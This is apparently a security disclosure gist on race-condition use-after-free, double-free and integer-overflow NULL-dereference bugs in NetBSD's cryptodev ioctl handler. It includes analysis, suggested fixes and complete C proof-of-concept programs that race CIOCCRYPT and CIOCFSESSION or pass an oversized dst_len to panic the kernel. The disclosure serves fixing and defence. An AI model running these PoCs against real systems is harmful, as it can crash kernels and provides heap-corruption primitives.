Skip to content

Instantly share code, notes, and snippets.

@n4sm
Last active April 1, 2026 11:47
Show Gist options
  • Select an option

  • Save n4sm/6b8584fc4b2494a05609c23bc32c5fa9 to your computer and use it in GitHub Desktop.

Select an option

Save n4sm/6b8584fc4b2494a05609c23bc32c5fa9 to your computer and use it in GitHub Desktop.

Race Condition in cryptof_ioctl / cryptodev_op — Use-After-Free & Double-Free

Affected Component

Field Value
File sys/opencrypto/cryptodev.c
Functions cryptof_ioctl() (CIOCCRYPT, CIOCFSESSION), cryptodev_op()
Type CWE-416: Use-After-Free / CWE-415: Double-Free
Impact Kernel panic, heap corruption primitive

Bug 1: CIOCCRYPT/CIOCFSESSION Session Lifetime Race

CIOCCRYPT drops cryptodev_mtx after csefind but before cryptodev_op completes. A concurrent CIOCFSESSION (or cryptof_close) on another thread can call csedelete + csefree on the same session in this window, causing cryptodev_op to operate on a freed cse.

cse = csefind(fcr, cop->ses);
mutex_exit(&cryptodev_mtx);   /* window opens here */
/* concurrent CIOCFSESSION frees cse */
error = cryptodev_op(cse, cop, curlwp);  /* UAF */

Bug 2: Concurrent cryptodev_op on the Same Session — uio Race

cse->uio and cse->iovec are stored directly in the csession struct. When two threads call CIOCCRYPT with the same session ID simultaneously, both enter cryptodev_op with the same cse pointer and race on:

cse->uio.uio_iov[0].iov_len  = iov_len;
cse->uio.uio_iov[0].iov_base = kmem_alloc(iov_len, KM_SLEEP);  /* both threads allocate */

Thread B overwrites the pointer allocated by thread A. Both threads then reach the bail: cleanup and free whichever pointer is currently in cse->uio.uio_iov[0].iov_base, producing a double-free on one allocation and a leak on the other.

bail:
    if (cse->uio.uio_iov[0].iov_base)
        kmem_free(cse->uio.uio_iov[0].iov_base, iov_len);  /* double-free */

Root Cause

Both bugs share the same underlying cause: csession embeds mutable per-operation state (uio, iovec, error) directly in the session struct, and CIOCCRYPT provides no per-session serialization after releasing cryptodev_mtx.

Proof of Concept

See attached PoC. poc_uaf_cioccrypt_race() races CIOCCRYPT against CIOCFSESSION to trigger Bug 1. poc_uio_race() hammers the same session from 8 threads to trigger Bug 2.

Fix

  • Add a per-csession reference count (or rwlock) incremented by csefind and decremented after cryptodev_op returns, so csefree blocks until all in-flight operations complete.
  • Move uio/iovec off the csession struct and onto the stack (or a per-call allocation) inside cryptodev_op to eliminate the shared mutable state entirely.
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/fcntl.h>
#include <crypto/cryptodev.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>

static int cryptofd;
static uint32_t shared_ses;
static volatile int stop;

static uint32_t
make_session(int fd)
{
    struct session_op sop;
    uint8_t key[16];

    memset(&sop, 0, sizeof(sop));
    memset(key, 0x41, sizeof(key));
    sop.cipher   = CRYPTO_AES_CBC;
    sop.keylen   = sizeof(key);
    sop.key      = key;

    if (ioctl(fd, CIOCGSESSION, &sop) < 0)
        err(1, "CIOCGSESSION");

    return sop.ses;
}

static void *
thread_crypt(void *arg)
{
    struct crypt_op cop;
    uint8_t src[32], dst[32], iv[16];

    memset(src, 0x41, sizeof(src));
    memset(iv,  0x00, sizeof(iv));

    while (!stop) {
        memset(&cop, 0, sizeof(cop));
        cop.ses = shared_ses;
        cop.op  = COP_ENCRYPT;
        cop.len = sizeof(src);
        cop.src = src;
        cop.dst = dst;
        cop.iv  = iv;
        ioctl(cryptofd, CIOCCRYPT, &cop);
    }
    return NULL;
}

static void *
thread_free(void *arg)
{
    while (!stop) {
        uint32_t ses = shared_ses;
        ioctl(cryptofd, CIOCFSESSION, &ses);
        shared_ses = make_session(cryptofd);
    }
    return NULL;
}

static void
poc_uaf_cioccrypt_race(void)
{
    pthread_t ta, tb;

    printf("[*] PoC 1: CIOCCRYPT/CIOCFSESSION UAF race\n");

    cryptofd = open("/dev/crypto", O_RDWR);
    if (cryptofd < 0)
        err(1, "open /dev/crypto");

    shared_ses = make_session(cryptofd);
    stop = 0;

    pthread_create(&ta, NULL, thread_crypt, NULL);
    pthread_create(&tb, NULL, thread_free,  NULL);

    sleep(5);
    stop = 1;

    pthread_join(ta, NULL);
    pthread_join(tb, NULL);

    close(cryptofd);
    printf("[*] PoC 1 done (check dmesg for KCSAN/panic)\n");
}

#define NTHREADS 8

static uint32_t poc2_ses;
static int      poc2_fd;

static void *
thread_crypt_same_ses(void *arg)
{
    struct crypt_op cop;
    uint8_t src[32], dst[32], iv[16];
    int i;

    memset(src, 0x42, sizeof(src));
    memset(iv,  0x00, sizeof(iv));

    for (i = 0; i < 10000; i++) {
        memset(&cop, 0, sizeof(cop));
        cop.ses = poc2_ses;
        cop.op  = COP_ENCRYPT;
        cop.len = sizeof(src);
        cop.src = src;
        cop.dst = dst;
        cop.iv  = iv;
        ioctl(poc2_fd, CIOCCRYPT, &cop);
    }
    return NULL;
}

static void
poc_uio_race(void)
{
    pthread_t threads[NTHREADS];
    int i;

    printf("[*] PoC 2: concurrent CIOCCRYPT same session (cse->uio race)\n");

    poc2_fd = open("/dev/crypto", O_RDWR);
    if (poc2_fd < 0)
        err(1, "open /dev/crypto");

    poc2_ses = make_session(poc2_fd);

    for (i = 0; i < NTHREADS; i++)
        pthread_create(&threads[i], NULL, thread_crypt_same_ses, NULL);
    for (i = 0; i < NTHREADS; i++)
        pthread_join(threads[i], NULL);

    close(poc2_fd);
    printf("[*] PoC 2 done\n");
}

int
main(void)
{
    poc_uaf_cioccrypt_race();
    poc_uio_race();
    return 0;
}

Bug 3: NULL Pointer Dereference in cryptodev_op

Field Value
File sys/opencrypto/cryptodev.c
Function cryptodev_op()
Type CWE-190: Integer Overflow / CWE-476: NULL Pointer Dereference
Impact Kernel panic (DoS)

Root Cause

iov_len is declared as int (signed) but assigned from cop->dst_len which is u_int (unsigned). When cop->dst_len > INT_MAX, the assignment produces a negative value — undefined behavior per the C standard. On x86-64 with -O2, the compiler may eliminate the subsequent safety check entirely.

int iov_len = cop->len;           /* signed */
if ((cse->tcomp) && cop->dst_len) {
    if (iov_len < cop->dst_len)
        iov_len = cop->dst_len;   /* UB: u_int -> int, wraps negative */
}
/* size_t <- negative int -> 0xffffffff80000001 */
cse->uio.uio_iov[0].iov_len = iov_len;
/* FALSE or optimized away under -O2 */
if (iov_len > 0)
    cse->uio.uio_iov[0].iov_base = kmem_alloc(iov_len, KM_SLEEP);
/* corrupted: 0xffffffff80000001 */
cse->uio.uio_resid = cse->uio.uio_iov[0].iov_len;
/* iov_base = NULL -> fault */
copyin(cop->src, cse->uio.uio_iov[0].iov_base, cop->len);

Trigger Conditions

Field Value
Session type Compression session (CRYPTO_DEFLATE_COMP or CRYPTO_GZIP_COMP)
cop->dst_len > INT_MAX (e.g. 0x80000001)
cop->dst_len > cop->len to trigger the iov_len overwrite path

Proof-of-concept:

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/fcntl.h>
#include <crypto/cryptodev.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>

/*
 * PoC: two bugs demonstrated
 *
 * Bug A: iov_len signed overflow → NULL iov_base → copyin NULL ptr
 *   Requires: tcomp session, dst_len > INT_MAX
 *   Effect: copyin(src, NULL, len) → kernel fault
 *
 * Bug B: large iov_len allocation via dst_len, then early bail
 *   via cop->iv on compression-only session (crde==NULL)
 *   Effect: allocates large buffer, bails, frees correctly BUT
 *           the copyin into that large buffer happens BEFORE the
 *           iv check — so we get copyin of 16 bytes into a large
 *           buffer then free it — demonstrates the logic inversion
 *           (should validate iv before allocating)
 */

static int
open_crypto(void)
{
    int fd = open("/dev/crypto", O_RDWR);
    if (fd < 0) err(1, "open /dev/crypto");
    return fd;
}

static uint32_t
make_comp_session(int fd, int alg)
{
    struct session_op sop;
    memset(&sop, 0, sizeof(sop));
    sop.comp_alg = alg;
    if (ioctl(fd, CIOCGSESSION, &sop) < 0)
        err(1, "CIOCGSESSION");
    printf("[*] comp session id=%u alg=%d\n", sop.ses, alg);
    return sop.ses;
}

static uint32_t
make_cipher_session(int fd)
{
    struct session_op sop;
    uint8_t key[16];
    memset(&sop, 0, sizeof(sop));
    memset(key, 0x41, sizeof(key));
    sop.cipher = CRYPTO_AES_CBC;
    sop.keylen = sizeof(key);
    sop.key    = key;
    if (ioctl(fd, CIOCGSESSION, &sop) < 0)
        err(1, "CIOCGSESSION cipher");
    printf("[*] cipher session id=%u\n", sop.ses);
    return sop.ses;
}

/*
 * Bug A: NULL iov_base via signed overflow of iov_len
 *
 * Execution path:
 *   cop->len=16 → iov_len=16
 *   cop->dst_len=0x80000001 → iov_len=0x80000001 (UB, negative as int)
 *   iov_len > 0 → FALSE → iov_base not allocated → NULL
 *   uio_resid = (size_t)(negative) → 0xffffffff80000001
 *   copyin(cop->src, NULL, 16) → fault
 */
static void
bug_a_null_iov_base(void)
{
    int fd = open_crypto();
    uint32_t ses = make_comp_session(fd, CRYPTO_DEFLATE_COMP);

    struct crypt_op cop;
    uint8_t src[16], dst[16];
    memset(src, 0x41, sizeof(src));
    memset(&cop, 0, sizeof(cop));

    cop.ses     = ses;
    cop.op      = COP_COMP;
    cop.len     = 16;
    cop.src     = src;
    cop.dst     = dst;
    cop.dst_len = 0x80000001;   /* > INT_MAX → iov_len goes negative */
    cop.iv      = NULL;
    cop.mac     = NULL;

    printf("[*] Bug A: dst_len=0x%x → iov_len overflow\n", cop.dst_len);
    printf("    expected: copyin to NULL → kernel fault/panic\n");
    if (ioctl(fd, CIOCCRYPT, &cop) < 0)
        warn("    CIOCCRYPT returned error (may have faulted in kernel)");
    else
        printf("    [!] returned OK — check dmesg\n");

    close(fd);
}

int
main(void)
{
    printf("=== cryptodev_op vulnerability PoC ===\n\n");

    printf("--- Bug A: iov_len signed overflow ---\n");
    bug_a_null_iov_base();
    printf("\n");
    return 0;
}

Impact

Scenario Description
SVS enabled copyin faults on NULL iov_base — caught by onfault table — clean EFAULT returned to userspace, no panic.
SVS disabled (KASAN config) copyin may succeed into a mapped page at 0x0. UIO machinery consumes the corrupted uio_resid = 0xffffffff80000001 in pointer arithmetic, producing the non-canonical address 0xfffff9000000000. This triggers a #GP fault which is not handled by the copyin onfault/nofault recovery table (which only covers page faults), resulting in an unrecoverable kernel panic.

Bug 4: Use-After-Free in cryptof_close

Affected Component

Field Value
File sys/opencrypto/cryptodev.c
Functions cryptof_close(), cryptof_ioctl() (CIOCFSESSION, CIOCCRYPT)
Type CWE-416: Use-After-Free / CWE-415: Double Free
Impact Kernel panic, heap UAF primitive

Root Cause

cryptof_close removes and frees sessions without acquiring any per-session lock, while CIOCCRYPT drops cryptodev_mtx after csefind but before completing the crypto operation. This creates a window in which cryptof_close can free a session that CIOCCRYPT is actively using.

Proof-of-concept is not available yet (syzkaller reproducer is broken for netbsd and i couldnt come to a clean reproducder by myself)

Environment

Depending on your hardware, it might be need to set kern.cryptodevallowsoft=0 (sysctl -w kern.cryptodevallowsoft=0), by default cryptodev does not allow software requests (and we do not use software implementations in these bugs) but we still need to create sessions and if netbsd is running on qemu, the hardware accelerators will not be available which won't allow us to create sessions.

So basically: this should not be an issue on system running on real hardware but we need to modify it if we run netbsd in qemu.

Here is my environment but the bugs shown above should be reproducible on any Netbsd kernel until a193196bb9d88f0ce1ecaffdaf07fb69ff1de448.

syssec@Syssec:~/netbsd/src$ git diff sys/arch/amd64/conf/GENERIC
diff --git a/sys/arch/amd64/conf/GENERIC b/sys/arch/amd64/conf/GENERIC
index 0fedb047c3e0..a9d86a097a76 100644
--- a/sys/arch/amd64/conf/GENERIC
+++ b/sys/arch/amd64/conf/GENERIC
@@ -166,8 +166,8 @@ options     KDTRACE_HOOKS   # kernel DTrace hooks
 #options       KMSAN_PANIC     # optional
 
 # Kernel Code Coverage Driver.
-#makeoptions   KCOV=1
-#options       KCOV
+makeoptions    KCOV=1
+options        KCOV
 
 # Fault Injection Driver.
 #options       FAULT
@@ -959,7 +959,7 @@ urlphy* at mii? phy ?                       # Realtek RTL8150L internal PHYs
 # USB Controller and Devices
 
 # Virtual USB controller
-#pseudo-device vhci
+pseudo-device  vhci
 
 # PCI USB controllers
 xhci*  at pci? dev ? function ?        # eXtensible Host Controller
@@ -979,7 +979,7 @@ uhci*       at cardbus? function ?          # Universal Host Controller (Intel)
 slhci* at pcmcia? function ?           # ScanLogic SL811HS
 
 # USB bus support
-#usb*  at vhci?
+usb*   at vhci?
 usb*   at xhci?
 usb*   at ehci?
 usb*   at ohci?
syssec@Syssec:~/netbsd/src$ git status | head
On branch trunk
Your branch is up to date with 'origin/trunk'.
...
syssec@Syssec:~/netbsd/src$ git log | head
commit a193196bb9d88f0ce1ecaffdaf07fb69ff1de448
Author: christos <christos@NetBSD.org>
Date:   Sun Mar 8 21:07:26 2026 +0000

    new tzcode
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment